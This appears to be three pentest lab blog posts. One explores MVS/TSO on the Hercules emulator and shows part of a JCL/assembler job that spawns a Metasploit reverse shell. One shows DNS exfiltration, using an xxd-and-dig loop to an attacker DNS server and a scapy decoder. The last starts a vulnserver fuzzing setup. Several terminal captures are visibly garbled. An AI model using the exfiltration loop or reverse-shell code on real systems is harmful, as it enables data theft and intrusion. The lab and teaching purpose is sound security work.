CONVERT SIFT ITF/PL1 AND FORTRAN SOURCE.
COPY COPY A DATA SET.
DELETE DELETE A DATA SET.
EDIT CREATE, EDIT, AND/OR EXECUTE A DATA SET.
FORMAT FORMAT AND PRINT A TEXT DATA SET.
FREE RELEASE A DATA SET.
LIST DISPLAY A DATA SET.
LISTALC DISPLAY ACTIVE DATA SETS.
LISTBC DISPLAY MESSAGES FROM OPERATOR/USER.
LISTCAT DISPLAY USER CATALOGUED DATA SETS.
LISTDS DISPLAY DATA SET ATTRIBUTES.
MERGE COMBINE DATA SETS.
PROTECT PASSWORD PROTECT DATA SETS.
RENAME RENAME A DATA SET.
SYSTEM CONTROL COMMANDS:
ACCUENT MODIFY/ADD/DELETE USER ATTRIBUTES.
OPERATOR PLACE TERMINAL IN OPERATOR MODE.
```

As you can see there is a lot to read and learn about. One of the example questions: as you can see we can „invoke fortran prompter (...) and compiler” – hints like that we’ll use later to check for a privilege escalation possibilities. For now let’s continue here[17] – following few manuals available online to learn and understand more about this kind of OS:

```
root@ubuntu20: /home/c/hercool x3270-4 localhost:3270
0.43.26 STC 45 $HASP150 MF1 ON PRINTER2
0.43.26 STC 45 $HASP250 MF1 IS PURGED
0.43.26 STC 58 $HASP150 BSPSETPF ON PRINTER2
0.43.26 STC 58 $HASP250 BSPSETPF IS PURGED
0.43.26 STC 59 $HASP150 DYNAMASK ON PRINTER2
0.43.26 $HASP160 PRINTER2 INACTIVE - CL
0.43.26 STC 59 $HASP250 DYNAMASK IS PURGED
0.43.26 IEF236I ALLOC. FOR JES2 JES2
0.43.26 IEF237I 002 ALLOCATED TO PRINTE
0.43.26 $HASP160 PRINTER3 INACTIVE - CL
0.43.26 STC 60 IST197I SAVED CONFIGURATION ATSO
0.43.26 STC 60 IST093I ATSO ACTIVE
0.43.26 STC 60 IST197I SAVED CONFIGURATION ASNASOL
0.43.26 STC 60 IST093I ASNASOL ACTIVE
0.43.26 STC 60 IST197I SAVED CONFIGURATION AJRP
0.43.26 STC 60 IST093I AJRP ACTIVE
0.43.26 STC 60 IST197I SAVED CONFIGURATION L3274
0.43.26 STC 60 IST093I L3274 ACTIVE
0.43.27 STC 60 IST197I SAVED CONFIGURATION L3791
0.43.27 STC 60 IST093I L3791 ACTIVE
0.43.27 STC 60 IST197I SAVED CONFIGURATION S3705
0.43.27 STC 60 IST093I S3705 ACTIVE
0.43.27 STC 60 IST197I SAVED CONFIGURATION N07
0.43.27 STC 60 IST093I N07 ACTIVE
0.43.27 STC 60 IST197I SAVED CONFIGURATION N08
0.43.27 STC 60 IST197I SAVED CONFIGURATION N10
0.43.27 STC 60 IST197I SAVED CONFIGURATION N11
0.43.27 STC 60 IST197I SAVED CONFIGURATION N12
0.43.27 STC 60 IST197I SAVED CONFIGURATION N13
0.43.27 STC 60 IST197I SAVED CONFIGURATION N14
0.43.27 STC 60 IST197I SAVED CONFIGURATION N15

File Options
*****
*** TSO Applications Menu terminated. ***
*** Enter TSOAPPLS at the READY prompt to restart. ***
*****
READY
listcat
IN CATALOG:SYS1.UCAT.TSO
HERC04.CMDPROG
HERC04.REVPROF
HERC04.TEST.ASM
HERC04.TEST.CNTL
HERC04.TEST.LOADLIB
READY
listcat entry(sysc,proclib)
ERROR QUALIFYING HERC04.SYSC
** DEFAULT SERVICE ROUTINE ERROR CODE 20, LOCATE ERROR CODE 8
ERROR QUALIFYING HERC04.PROCLIB
** DEFAULT SERVICE ROUTINE ERROR CODE 20, LOCATE ERROR CODE 8
LASTCC=4
READY
```

Next:

```
IGURATION N08
IGURATION N10
IGURATION N11
IGURATION N12 profile
IGURATION N13 CHAR(0) LINE(0) PROMPT INTERCOM NOPAUSE NOMSGID NOMODE NOWTPMSG NORECO
IGURATION N14 VER PREFIX(HERC04)
IGURATION N15 DEFAULT LINE/CHARACTER DELETE CHARACTERS IN EFFECT FOR THIS TERMINAL
N STCINRDR
TARTED
ED - TIME=20
ALIZATION CO
0200,40000000
0200,40000000
```

Reading more about *profile* command:

```
DI L3791 ACTIVE ERROR QUALIFYING HERC04.PROCLI
DI SAVED CONFIGURATION S3791 ** DEFAULT SERVICE ROUTINE ERR
DI SAVED CONFIGURATION N08 LASTCC=4
DI S3705 ACTIVE READY
DI SAVED CONFIGURATION N08
DI SAVED CONFIGURATION N11
DI SAVED CONFIGURATION N12 profile
DI SAVED CONFIGURATION N13 CHAR(0) LINE(0) PROMPT I
DI SAVED CONFIGURATION N14 VER PREFIX(HERC04)
DI SAVED CONFIGURATION N15 DEFAULT LINE/CHARACTER DELETE
000 TSO ON STCINRDR
073 TSO STARTED profile prefix(herc04)
DI TSO - STARTED - TIME=20
DI VTAM INITIALIZATION COM profile
DI 0C0,IOE,05,0200,40000000 CHAR(0) LINE(0) PROMPT I
DI 0C1,IOE,05,0200,40000000 VER PREFIX(HERC04)
DI 0C2,IOE,05,0200,40000000 DEFAULT LINE/CHARACTER DELETE
DI 0C3,IOE,05,0200,40000000 READY
DI 0C4,IOE,05,0200,40000000 profile prefix(herc01)
DI 0C5,IOE,05,0200,40000000 READY
DI IFLOADRN COMPLETED profile
DI 370X N07 NOW LOADS CHAR(0) LINE(0) PROMPT I
ient 127.0.0.1 devtype 32 VER PREFIX(HERC01)
24..W.... DEFAULT LINE/CHARACTER DELETE
READY
```

Well... ;) Ok, let's check some *help* for *profile* command:

```
HELP member==> PROFILE Subcommand==> Help for oper
Input==>
1 10 20 30 40 50 60
-----+-----+-----+-----+-----+-----+-----+
))0 OPERANDS-
))LINE('CHARACTER')
- SPECIFIES THE CHARACTER WHICH IS TO BE USED FOR
DELETING A LINE.
'CHARACTER'
- IS ANY VALID CHARACTER.
))LINE(ATTN)
- SPECIFIES THAT ATTENTION IS TO BE USED TO DELETE A
THIS IS THE SYSTEM DEFAULT DELETE CHARACTER FOR THE
KEYBOARD TYPE TERMINAL.
))LINE(CTLX)
- SPECIFIES THAT CTLX IS TO BE USED TO DELETE A LINE
FOR THE TELETYPE TERMINAL. THIS IS THE SYSTEM DEFAU
DELETE CHARACTER FOR THE TELETYPE TERMINAL.
))NOLINE - SPECIFIES THAT THERE IS TO BE NO LINE DELETING CHAR
))CHAR('CHARACTER')
- SPECIFIES THE CHARACTER TO BE USED TO DELETE A CHAR
'CHARACTER'
- IS ANY VALID CHARACTER.
))CHAR(BS) - SPECIFIES THAT BACKSPACE IS TO BE USED TO DELETE A
CHARACTER. THIS IS THE SYSTEM DEFAULT VALUE.
))NOCHAR - SPECIFIES THAT THERE IS NO CHARACTER DELETE CHARACT
))PROMPT - SPECIFIES THAT THE USER IS TO BE PROMPTED FOR NECES
INFORMATION.
))NOPROMPT - SPECIFIES THAT THE USER IS NOT TO BE PROMPTED FOR
INFORMATION.
))INTERCOM - SPECIFIES THAT THE USER WILL ACCEPT MESSAGES FROM C
```

So far, so good. To not spoil the documentation too much to you ;) let's now jump directly here:

```

ON PRINTER2  READY
IS PURGED  listcat
ON PRINTER2  IN CATALOG:SYS1.UCAT.TSO
IS PURGED  HERC01.CMDPROC
OR JES2 JES2  HERC01.REVPROF
LOCATED TO PRINT  HERC01.TEST.ASM
INACTIVE - CL  HERC01.TEST.CNTL
ONFIGURATION AT:  HERC01.TEST.LOADLIB
ACTIVE  READY
ONFIGURATION AS  listcat all
ACTIVE  NONVSAM ----- HERC01.CMDPROC
ONFIGURATION AJ  IN-CAT --- SYS1.UCAT.TSO
ACTIVE  HISTORY
ONFIGURATION L3:  OWNER-IDENT----- (NULL)  CREATION-----13.316
ACTIVE  RELEASE-----2  EXPIRATION-----00.000
ONFIGURATION L3:  VOLUMES
ACTIVE  VOLSER-----PUB003  DEVTYPE-----X'3010200F'  FSEQN-----
ONFIGURATION S3:  -----0
ONFIGURATION N0:  ASSOCIATIONS----- (NULL)
ACTIVE  NONVSAM ----- HERC01.REVPROF
ONFIGURATION N0:  IN-CAT --- SYS1.UCAT.TSO
ONFIGURATION N1:  HISTORY
ONFIGURATION N1:  OWNER-IDENT----- (NULL)  CREATION-----20.361
ONFIGURATION N1:  RELEASE-----2  EXPIRATION-----00.000
ONFIGURATION N1:  VOLUMES
ONFIGURATION N1:  VOLSER-----PUB010  DEVTYPE-----X'3050200B'  FSEQN-----
ONFIGURATION N1:  -----0
ONFIGURATION N1:  ASSOCIATIONS----- (NULL)
ON STARTED  NONVSAM ----- HERC01.TEST.ASM
ON PARTIAL TIME=20.  IN-CAT --- SYS1.UCAT.TSO
ON INITIALIZATION COM  HISTORY
ON 05.0200.40000000  OWNER-IDENT----- (NULL)  CREATION-----13.316
ON 05.0200.40000000  RELEASE-----2  EXPIRATION-----00.000
ON 05.0200.40000000  VOLUMES
ON 05.0200.40000000  VOLSER-----PUB011  DEVTYPE-----X'3010200C'  FSEQN-----
ON 05.0200.40000000  -----0
ON 05.0200.40000000  ASSOCIATIONS----- (NULL)
ON COMPLETED  NONVSAM ----- HERC01.TEST.CNTL
ON 7.  IN-CAT --- SYS1.UCAT.TSO
ON 0.1 devtype 32:  HISTORY
ON  OWNER-IDENT----- (NULL)  CREATION-----13.316
ON  RELEASE-----2  EXPIRATION-----00.000
ON  ***

```

Listing of the user’s catalog – using `listc` command (visible after: `profile noprefix`):

```


READY
profile noprefix
READY listc catalog(sys1.ucat.tso)
NONVSAM ----- HERC01.CMDPROC
NONVSAM ----- HERC01.REVPROF
NONVSAM ----- HERC01.TEST.ASM
NONVSAM ----- HERC01.TEST.CNTL
NONVSAM ----- HERC01.TEST.LOADLIB
NONVSAM ----- HERC02.CMDPROC
NONVSAM ----- HERC02.TEST.ASM
NONVSAM ----- HERC02.TEST.CNTL
NONVSAM ----- HERC02.TEST.LOADLIB
NONVSAM ----- HERC03.CMDPROC
NONVSAM ----- HERC03.TEST.ASM
NONVSAM ----- HERC03.TEST.CNTL
NONVSAM ----- HERC03.TEST.LOADLIB
NONVSAM ----- HERC04.CMDPROC
NONVSAM ----- HERC04.REVPROF
NONVSAM ----- HERC04.TEST.ASM
NONVSAM ----- HERC04.TEST.CNTL
NONVSAM ----- HERC04.TEST.LOADLIB
VOLUME ----- PUB000
NONVSAM ----- RPF.V1R5M3.CNTL
NONVSAM ----- RPF.V1R5M3.SRPFASM
NONVSAM ----- RPF.V1R5M3.SRPFHELP
NONVSAM ----- RPF.V1R5M3.SRPFLOAD
NONVSAM ----- RPF.V1R5M3.SRPFDBJ
CLUSTER ----- RPF.V1R5M3.SRPFPROF
DATA ----- RPF.V1R5M3.SRPFPROF.DATA
INDEX ----- RPF.V1R5M3.SRPFPROF.INDEX
CLUSTER ----- SYS1.UCAT.TSO
DATA ----- VSAM.CATALOG.BASE.DATA.RECORD
INDEX ----- VSAM.CATALOG.BASE.INDEX.RECORD
READY

```

Nice, nice, nice... but can we use it to escalate our privileges? It’s always good to know and understand as-much-as-we-can about the new target OS/host(s). All the information we’ll grab we can use later during our pentests to move around and/or hide inside the target OS. Good exercise is also to try to do ‘the same’ (for example) on Linux and then on Hercules (as it was presented here[13]). For now let’s move forward.

Touchdown


As reading and learning about 'new system' can take you some time we'll jump here:



```
root@ubuntu20: /home/c/hercool#
x3270-4 localhost:3270
Date 30.12.20
Time 22:35:27
File Options
Terminal CUU0C0
System TK4-
TSO User HERC01
Option ==> |
The MVS 3.8j Tur(n)key System
TK4- Version 1.00 Update 08 -- MVS PUT 8505
TSO Applications
1 RFE "SPF like" productivity tool
2 RPF "SPF like" productivity tool
3 IM IMON/370 system monitor
4 QUEUE spool browser
5 HELP general TSO help
6 UTILS information on utilities and commands available
7 TERMTEST verify 3270 terminal capabilities
Enter X to Terminate
PF3=Terminate
```


If you'll check an „each option available in the menu” – just to simply ‘check’ what’s inside – you’ll quickly find that there are ‘multiple parsers’ we can use. What does it mean for me? As a ‘parser’ I mean interpreter(s for example) for REXX, TSO, WMIC, SH and so on (so we can try to identify multiple ways for privilege escalation bugs – at least „in the ideal scenario”, right? ;)).

Let’s move forward. In my VM (Ubuntu 20) REXX „parser” was not installed in default. Let’s fix that in a first place:



```
root@ubuntu20:/home/c/hercool# apt-cache search rexx
exuberant-ctags - build tag file indexes of source code definitions
crashmail - JAM and *.MSG capable Fidonet tosser
libbsf-java - Bean Scripting Framework to support scripting languages in Java
libbsf-java-doc - Bean Scripting Framework to support scripting - documentation
libregina3 - Regina REXX interpreter, run-time library
libregina3-dev - Regina REXX interpreter, development files
regina-rexx - Regina REXX interpreter
root@ubuntu20:/home/c/hercool# apt-get install regina-rexx -y
Reading package lists... Done
Building dependency tree
Reading state information... Done
```

In the meantime when we’re observing *Hercules* we can see a message in the console similar to the one presented on the screen below:



```
HHC00081I Match at index 03, executing command script scripts/SCR00010A
HHC01603I script scripts/SCR00010A
HHC02260I Script 6: begin processing file scripts/SCR00010A
```

Ok. So far *regina-rexx* should now be ready so we can continue with an example „hello world” program. We should be here:


```
/* REXX */
parse arg parms

parms = space(parms)
argc = words(parms)

parse version ver
parse source src

env = address()
```

Let's try it:

```
/* REXX */
parse arg parms

parms = space(parms)
argc = words(parms)

parse version ver
parse source src

env = address()

parse var src . . cmd
who = filespec("n",cmd)
parse var who who "." .
say who " started"
say who " version . . . . . : " ver
```

Checking (with the part that they unfortunately forgot to add in the description ;)):

```
root@ubuntu20: /home/c/hercool/scripts
root@ubuntu20:/home/c/hercool/scripts# ./helloworld.rexx
helloworld started
helloworld version . . . . . : REXX-Regina_3.6 5.00 31 Dec 2011
helloworld source . . . . . : UNIX COMMAND /home/c/hercool/scripts/helloworld.rexx
helloworld hostenv . . . . . : SYSTEM
helloworld date . . . . . : 31 Dec 2020
helloworld time . . . . . : 00:00:25
helloworld argumens . . . . . : no argument given
helloworld Hercules version :
helloworld RC Environment . :
Warning: SAA API not compiled into interpreter
root@ubuntu20:/home/c/hercool/scripts# head -n 4 helloworld.rexx
#!/usr/bin/rexx
/* REXX */
parse arg parms

root@ubuntu20:/home/c/hercool/scripts#
```

At this stage – for me – the question was: do we need an ‘interpreter line’ when running REXX code via Hercules or no? Well, we’ll find out later. After checking some basic syntax for REXX[19] we can move forward.


„Just have to know“




Below we'll **try to understand** how to run 'some example program' that can help us to elevate our privileges in the target OS. To do that we'll start here[20]:

A screenshot of a web browser displaying an IBM support page. The browser's address bar shows the URL: https://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.bpxb600/toc.htm. The page title is "z/OS Using REXX and z/OS UNIX System Services". The left sidebar contains a navigation menu with items like "SMP/E Version 3", "IBM Tivoli Directory Server for z/OS", "z/OS UNIX System Services", and "z/OS Using REXX and z/OS UNIX System Services". The main content area is titled "Contents (exploded view)" and lists several topics, including "Abstract for Using REXX and z/OS UNIX System Services", "z/OS Version 2 Release 1 summary of changes", and "Using TSO/E REXX for z/OS UNIX processing".

After a while... ;) We can continue here: (File -> File transfer):



Next:



(At this moment) I decided* (xD + rtfm!1111 ;* ; see below...) that 'during our *internal pentest*' we will not „wait for host acknowledgment” ;) so I decide to move forward to find some other way to get more suitable position. ;) Let's go here[21]:


https://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.ich/ich.htm

Description


Security Server is an optional feature of z/OS that lets you control access to protected resources. It consists of IBM's Resource Access Control Facility (RACF). It provides a set of Java Security Administration (JSec) APIs to allow administration of users and groups in security repositories from z/OS RACF or other non-z/OS security systems. A Link to Java Security Administration (JSec) is provided.

Order Number	Title	Abstract Link	TOC Link	PDF Link
SA23-2290-00	z/OS Security Server RACF Auditor's Guide	Abstract	TOC	PDF
SA23-2293-00	z/OS Security Server RACF Callable Services	Abstract	TOC	PDF
SA23-2292-00	z/OS Security Server RACF Command Language Reference	Abstract	TOC	PDF
GA32-0885-00	z/OS Security Server RACF Data Areas	NA	NA	PDF
GA32-0886-00	z/OS Security Server RACF Diagnosis Guide	Abstract	TOC	PDF
SA23-2298-00	z/OS Security Server RACF General User's Guide	Abstract	TOC	PDF
SA23-2288-00	z/OS Security Server RACF Macros and Interfaces	Abstract	TOC	PDF
SA23-2291-00	z/OS Security Server RACF Messages and Codes	Abstract	TOC	PDF
SA23-2289-00	z/OS Security Server RACF Security Administrator's Guide	Abstract	TOC	PDF
SA23-2287-00	z/OS Security Server RACF System Programmer's Guide	Abstract	TOC	PDF
SA23-2294-00	z/OS Security Server RACROUTE Macro Reference	Abstract	TOC	PDF


Looks like we have a nice *list of hints* from the Vendor to check ;) We'll definitely read those files too during our learning process. But for now – let's take a look, here:



Right. „Nihil novi” here, sure. (After we read more about the *target OS and the filesystem* ;) we can move forward *here(now we don't need to „wait to accept”* ;) but this is the reason to read the fantastic manual, isn't it? ;)). Checking with latest Kali VM:



Next step is presented on the screen below (as here, on our „scenario” we're focusing on „escalation possibility” not at the *gaining access* process):



When our 'example code' is on the target host – we can continue here:

```

root@x3270-4 localhost:3270
File Options
REVEDIT HERC02.TEST.CNTL(DATA1)
Command ==>
***** Top of Data *****
000001 //DUMMY JOB (MSFUSER-ACCTING-INFO),
000002 // 'programmer name',
000003 // CLASS=A,
000004 // MSGCLASS=Z,
000005 // MSGLEVEL=(0,0),
000006 // REGION=0M
000007 //*****
000008 //* SPAWN REVERSE SHELL FOR MSF MODULE*/
000009 //*****
000010 //*
000011 //STEP1 EXEC PROC=ASMACLG,PARM.L=(CALL)
000012 //L.SYSLIB DD DSN=SYS1.CSSLIB,DISP=SHR
000013 //C.SYSIN DD *,DLM=ZZ
000014 // TITLE 'Spawns Reverse Shell'
000015 SPAWNREV CSECT
000016 SPAWNREV AMODE 31
000017 SPAWNREV RMODE ANY
000018 *****
000019 * @SETUP registers and save areas
000020 *****
000021 USING *,15
000022 @SETUP0 B @SETUP1
000023 DROP 15
000024 DS 0H # half word boundary
000025 @SETUP1 STM 14,12,12(13) # save our registers
000026 LR 2,13 # callers sa
000027 LR 8,15 # pgm base in R8
000028 USING @SETUP0,8 # R8 for base address
000029 *****
000030 * set up data area / addressability *
000031 *****
000032 L 0,@DYNsize # len of variable area
000033 GETMAIN RU,LV=(0) # get data stg, len R0
000034 LR 13,1 # data address

```


As we can see (logged-in as *herc0*x-user* then 1, then 3.4; enter; our-user->enter;e to up(loaded)dated file) we'll find some results here:

```

root@x3270-4 localhost:3270
File Options
HERC02.TEST.CNTL on PUB012 ----- Row 1 of 3
Command ==> Scroll ==> CS
  NAME      TTR      VV.MM  CREATED      CHANGED      INIT  SIZE  MOD  ID
  . DATA1  000018
  . KAB00M  000101
  **END**   000102      2013-11-12 PUB012  MOD                IBMOSVS2

```

Waiting...? ;}



Let's continue below.

Conslusion(\$?)



Sure. „Multiple”, isn't it?;)

For example:

- we still do not achieved reversed shell. Why? In my opinion: because I used „emulator” not the „fully working z/OS” (but feel free to correct me if I'm wrong. I spent „only 12 days” with manuals/references and other available resources so probably „I missed something” ;));
- we still have a lot to read and learn about multiple *languages* available for „mainframe” (JCL/REXX/TSO/ and few other interesting *consoles* (*see; reference below for the more details*)...);
- there are few other modules in Metasploit we can check/test and read about (to get more practice with „our mainframes takeover scenarios”)...

So?

Have fun. And in case of any questions – feel free to ping me via blog or [@twitter](#). ;)

Cheers!

References

Links and resources I found interesting when I was preparing this article:

[1 – Notes Magazine #03](#)

[2 – Download Hercules](#)

[3 - Koadic](#)

[4 - CICS](#)

[5 - REXX](#)

[6 - HLASM](#)

[7 – x3270](#)

[8 - IBM x3270](#)

[9 – Surogate\\$](#)

[10 - JCL](#)

[11 - RACF](#)

[12 – Intro with moshix \(kudos&thanks!111\)](#)

[13 - moshix channel](#)

<http://wotho.ethz.ch/tk4-/>

[15 - Black Hat USA 2018 - Mainframe](#)

[16 – TSO users](#)

[17 - rexx](#)

[18 – great tutorial \(thanks!\)](#)


[19 - Regina docs](#)

[20 – toc...](#)

[21 - TShOcker](#)

[22 - RosettaCode](#)

Do Not Send



Outro

... why not intro? Because we'll talk about the output today – to be more specific: about what can *go out* - so that's why we started from the *outro* ;]

Our today's „simple scenario“ looks like this: we're doing internal pentest for SomeCompany and we were asked to steal/leak some data (for example to verify DLP/FW rules – you name it).

So let's prepare small lab for our testing purposes. Here we go^[1]...

Environment

I decided to use 2 VM's (both created on VirtualBox):

- Ubuntu 18

- Kali Linux.

Let's say that Ubuntu VM is the target machine from we want to leak the data. Knowing that we are in the „super filtered corporate network“ let's focus not on „what's blocked“ but „what's allowed“. So – according to the „example corporate network rules“ – you will probably find a network communication possible on ports like 53/TCP (DNS) and/or some HTTP(s) port (like 80/443). Let's assume that this is a very basic configuration but it should be good enough for our purposes. We'll continue below.

Example step

This attack can be performed from Windows and Linux OS as well but today we'll focus on the Linux-based scenario. We'll start here:

```
root@ubuntu18: ~  
root@ubuntu18:~# date > supersecret.file  
root@ubuntu18:~# md5sum supersecret.file  
dfafe1ec059f7e4aa9b6c651a649b84e supersecret.file  
root@ubuntu18:~# cat supersecret.file  
czw, 7 sty 2021, 00:46:16 CET  
root@ubuntu18:~#
```

On our *target* host we have a *supersecret.file* with the content we would like to move outside the company's network. According to our 'scenario' (read as: DNS is 'probably' not blocked) we can use it to do that using so called „DNS exfiltration“. To continue I prepared the Kali machine like it is presented on the screen below:


```
root@ubuntu18: ~  
root@ubuntu18:~# xxd -p supersecret.file  
637a772c20372073747920323032312c2030303a34363a3136204345540a  
root@ubuntu18:~# md5sum supersecret.file  
dfafe1ec059f7e4aa9b6c651a649b84e supersecret.file  
root@ubuntu18:~# for lines in `cat supersecret.file.togo`; do dig $lines.localhost @192.168.1.170 ; done
```

Domain names are described more precisely here[2]. To change the content of the file we'll like to send we can use `xxd` command available in our target/linux box. Let's move forward - now Wireshark is started on Kali:

No.	Time	Source	Destination	Protocol	Length	Info
5	14.071926846	192.168.1.10	192.168.1.170	DNS	155	Standard query 0xd57c A 637a772c20372073747920323032312c2030303a34363a3136204345540a
6	14.071981118	192.168.1.170	192.168.1.10	ICMP	183	Destination unreachable (Port unreachable)
9	19.070857071	192.168.1.10	192.168.1.170	DNS	155	Standard query 0xd57c A 637a772c20372073747920323032312c2030303a34363a3136204345540a
10	19.070905035	192.168.1.170	192.168.1.10	ICMP	183	Destination unreachable (Port unreachable)

```
root@ubuntu18: ~  
root@ubuntu18:~# xxd -p supersecret.file  
Fra637a772c20372073747920323032312c2030303a34363a3136204345540a  
Linroot@ubuntu18:~# md5sum supersecret.file  
Intdfafe1ec059f7e4aa9b6c651a649b84e supersecret.file  
Useroot@ubuntu18:~# for lines in `cat supersecret.file.togo`; do dig $lines.localhost @192.168.1.170 ; done  
Don
```


As you can see we can see the queries to the hostnames that are in fact the content of our *supersecret.file*. So far, so good. Let's continue below and save the packet (I save it as `ascii-txt` file and as a normal `pcap-file` too):



At this stage we should be able to send a DNS query to our 'Kali-DNS'. If so – let's continue below...

Next step


Let's restart the attack but this time with the *tshark*:



```
root@kali: ~
File Edit View Search Terminal Tabs Help
root@kali: ~
root@kali:~# tshark -i any -w /tmp/dnstest03.pcap
Running as user "root" and group "root". This could be dangerous.
Capturing on 'any'
8


root@ubuntu18: ~
root@ubuntu18:~# for lines in `cat supersecret.file.togo`; do dig $lines.localhost @192.168.1.170 ; done
```

Ok. We should be somewhere here:



```
File Edit View Search Terminal Tabs Help
root@kali: ~
root@kali:~# python
Python 2.7.16 (default, Apr 6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import scapy
>>> from scapy.all import *
>>>
```

Ok. Looks like we have a working scapy[3]. Let's continue and read the PCAP file we saved:



```
root@kali: /home/c/src/edens
#!/usr/bin/env python
# edens.py - to grab dns-data from target-host
# 07.01.2021 @ 01:23
#
import scapy
from scapy.all import *
import sys

target_pcap = sys.argv[1]

dnsPackets = rdpcap(target_pcap)
domain = 'local' # as we asked for this domain, right?

for packet in dnsPackets:
    if packet.haslayer(DNSQR):
        query = packet[DNSQR].qname
        if domain in query:
            print("[+] query: %s\n" % query)

print '\n done\n'
```

Cool, checking:

```

root@kali:/home/c/src/edens# ./edens.py /tmp/dnstest03.pcap
[+] query: 637a772c20372073747920323032312c2030303a34363a3136204345540a.localhost.
[+] query: 637a772c20372073747920323032312c2030303a34363a3136204345540a.localhost.
[+] query: 637a772c20372073747920323032312c2030303a34363a3136204345540a.localhost.
[+] query: 637a772c20372073747920323032312c2030303a34363a3136204345540a.localhost.
[+] query: 637a772c20372073747920323032312c2030303a34363a3136204345540a.localhost.
[+] query: 637a772c20372073747920323032312c2030303a34363a3136204345540a.localhost.
done

```

So far – looks good! ;) Let's now continue. We'll add a „decoder” that will help us to „receive” the plain-text-version of the exfiltrated *secret.file*:

```

#!/usr/bin/env python
# edens.py - to grab dns-data from target-host
# 07.01.2021 @ 01:23
#

import scapy
from scapy.all import *
import sys
import re

target_pcap = sys.argv[1]

dnsPackets = rdpcap(target_pcap)
domain = 'local' # as we asked for this domain, right?

for packet in dnsPackets:
    if packet.haslayer(DNSQR):
        query = packet[DNSQR].qname
        if domain in query:
            print("[+] query found, separating...")
            query_part = query.split('.')[0]

            ascii_time = query_part.decode("hex")

            print(ascii_time)

print '\n done\n'

```

Cool. Let's run it against our PCAP file:

References

Links and resources I found interesting when I was preparing this article:

[1 – Download Wireshark](#)

[2 – DNS RFC](#)

[3 - Scapy](#)

4 – Example tool: [DNSEXfiltrator](#) / [ReflectiveDnsExfiltrator](#)

5 – Example tool: [dns-exfiltration](#)

6 – Example tool: [dnsteal](#)

7 – Example tool: [dfex](#)

Fuzz Me If You Can



Intro

Few days ago I was reading about fuzzing. After we tried file format fuzzing few times in the past[1] this time I decided it will be a good exercise to check what we can do with the protocols. Below you'll find few notes about it. Here we go...

Environment

Let's start from the base environment I used:

- Windows 7 VM;
- Kali Linux VM;
- vulnerv application[2];
- Windbg (with !msec.dll but if you can not find/install it – no problem, you can continue without it as well - you'll see;)).

If we'll need anything else – I'll mention it below.

So far we are ready to go...



;


Step by step

In case of our initial-base 'vulnerable app' we can easily see that this is a 'plain/text'-based *protocol*. So good – it should be easy to prepare an 'example request' (just like for other 'clear-text-based' protocols, ex. ftp, mqtt, mail, etc...).

Let's start here:

```
$ cat test_req01.txt
KSTET AAAAAA
$
```

With this very simple example request file we can continue here[3]:




When we'll prepare *radamsa* on our Ubuntu we can jump directly to the next step: a little bit of „automation”[4] ;) On the Windows 7 VM I prepared a new txt file with the content of my 'autorun script' I'd like to run each time our *vuln*serv app will crash. Initial file is presented below:

```
autorun.txt - Notepad
File Edit Format View Help
g
gg
g
.echo "LOADED"
.logopen c:\tests\fuzzlab\targetapp.log
u eip
r
.dump /g c:\tests\fuzzlab\dumpapp.dmp
kb
!load msec.dll
!exploitable -v
.echo "OK"
!analyze -v
.restart /f
```


To use it I opened *cmd.exe* (as an admin – just in case ;)) and started *windbg.exe* like this:

```
Cmd> windbg.exe -c „$$>< c:\path\to\our\autorun.script”
```

Next step – prepare *radamsa* to go on Kali VM:




After a while we should be somewhere here:



Looks like we understand now how to prepare a very simple (clear-text based) fuzzing scenario for the protocol testing of our *example app*. Let's continue below.

Pick Packet

At this stage we can easily generate a bunch of fuzzing example cases and leave it for a while with *radamsa* to verify if we can find anything that could be exploitable. But it wasn't enough for me so I decided to move forward with something else: Linux VM and Wireshark (*ts shark* can be used as well if you want – your choice). We should be somewhere here[5]:



The screenshot shows the GitHub repository page for the Mutiny Fuzzing Framework. The browser address bar displays <https://github.com/Cisco-Talos/mutiny-fuzzer>. The page title is "Mutiny Fuzzing Framework". The main content includes a description of the framework as a network fuzzer that replays PCAPs through a mutational fuzzer, a general workflow for using it, and a list of extensions for customizing its behavior. It also mentions that Mutiny uses Radamsa for mutations.

Preparing:

```
Setting up wireshark-qt (2.6.10-1~ubuntu18.04.0) ...
Setting up libqt5multimedia5-plugins:amd64 (5.9.5-0ubuntu1) ...
Setting up wireshark (2.6.10-1~ubuntu18.04.0) ...
Processing triggers for desktop-file-utils (0.23-1ubuntu3.18.04.2) ...
Processing triggers for libc-bin (2.27-3ubuntu1) ...
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
Processing triggers for gnome-menus (3.13.3-11ubuntu1.1) ...
Processing triggers for mime-support (3.60ubuntu1) ...
root@ubuntu18:/home/c/tools/mutiny-fuzzer# cd radamsa-v0.6
root@ubuntu18:/home/c/tools/mutiny-fuzzer/radamsa-v0.6# ls
bin doc LICENCE Makefile NEWS rad README.md tests
root@ubuntu18:/home/c/tools/mutiny-fuzzer/radamsa-v0.6# make
test -x bin/ol || make bin/ol
make[1]: Entering directory '/home/c/tools/mutiny-fuzzer/radamsa-v0.6'
test -f ol.c.gz || wget -O ol.c.gz https://gitlab.com/owl-lisp/owl/uploads/0d0730b50097
://gitlab.com/owl-lisp/owl/uploads/0d0730b500976348d1e66b4a1756cdc3/ol-0.1.19.c.gz
--2021-01-07 11:28:54-- https://gitlab.com/owl-lisp/owl/uploads/0d0730b500976348d1e66b
Resolving gitlab.com (gitlab.com)... 172.65.251.78, 2606:4700:90:0:f22e:fbec:5bed:a9b9
Connecting to gitlab.com (gitlab.com)|172.65.251.78|:443... connected.
HTTP request sent, awaiting response... 200 OK
```

If everything goes well – after a while we should be somewhere here:

tcp.port == 9999

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	10.0.2.15	192.168.1.10	TCP	76	38370 → 9999 [S
2	0.001652071	192.168.1.10	10.0.2.15	TCP	62	9999 → 38370 [S
3	0.001713111	10.0.2.15	192.168.1.10	TCP	56	38370 → 9999 [A
4	0.002965679	10.0.2.15	192.168.1.10	TCP	71	38370 → 9999 [P
5	0.003469074	192.168.1.10	10.0.2.15	TCP	62	9999 → 38370 [A
6	0.005836981	192.168.1.10	10.0.2.15	TCP	107	9999 → 38370 [P
7	0.005860998	10.0.2.15	192.168.1.10	TCP	56	38370 → 9999 [A
8	0.006146508	192.168.1.10	10.0.2.15	TCP	73	9999 → 38370 [P
